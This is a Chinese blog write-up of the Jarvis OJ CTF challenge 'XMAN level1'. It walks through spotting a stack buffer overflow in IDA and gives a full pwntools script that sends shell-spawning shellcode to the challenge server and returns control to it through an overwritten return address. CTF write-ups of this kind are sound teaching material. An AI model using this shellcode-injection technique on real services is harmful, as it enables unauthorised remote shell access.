zoukankan      html  css  js  c++  java
  • Jarvis OJ [XMAN]level1 write up

    首先

    老规矩,把软件拖到Ubuntu里checksec一下文件

    然后知道了软件位数就放到IDA32里面。。。

    熟悉的函数名。。。

    缘真的妙不可言。。。

    然后看了下vulnerable_function函数的栈结构

    算了下

    vulnerable_function中的read函数准备给buf 0x100的空间

    但是buf却用了0x88+0x4就结束了vulnerable_function函数。。

    (0x88 + 0x4)<(0x100)

    所以这里出现了栈溢出

    但是,我F12+Shift一下却没发现有getshell的函数。。。

    别慌,问题不大。。

    自己构造shellcode

    当然用万能的pwntools啦。。

    不可能手工pwn的,这辈子都不可能。

    漏洞利用

    把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode

    利用代码:

    from pwn import *
    
    context(log_level = 'debug', arch = 'i386', os = 'linux')
    
    shellcode = asm(shellcraft.sh()) #shellcraft 提供了很多现成shellcode,当然要翻译成asm格式的
    io = remote("pwn2.jarvisoj.com",9877) #要攻击的目标机
    
    buffer = io.recvline()[14:-2] 
    buf_addr = int(buffer,16)
    payload = shellcode + 'x90'*(0x88+0x4-len(shellcode)) + p32(buf_addr) #p32是打包数据库
    io.send(payload)
    io.interactive()
    io.close()

    最后

    pwntools的简单入门可以百度pwntools,看下别人整理的笔记。

  • 相关阅读:
    第五周作业
    作业4
    20182302 2019-2020-1 《数据结构与面向对象程序设计》实验3报告
    作业四
    实验二
    实验一
    排序大集合java
    阿里面试——运筹优化工程师
    树的子结构判断
    剑指offer——合并两个排序的链表——对象、引用和赋值初接触
  • 原文地址:https://www.cnblogs.com/Tu9oh0st/p/8551058.html
Copyright © 2011-2022 走看看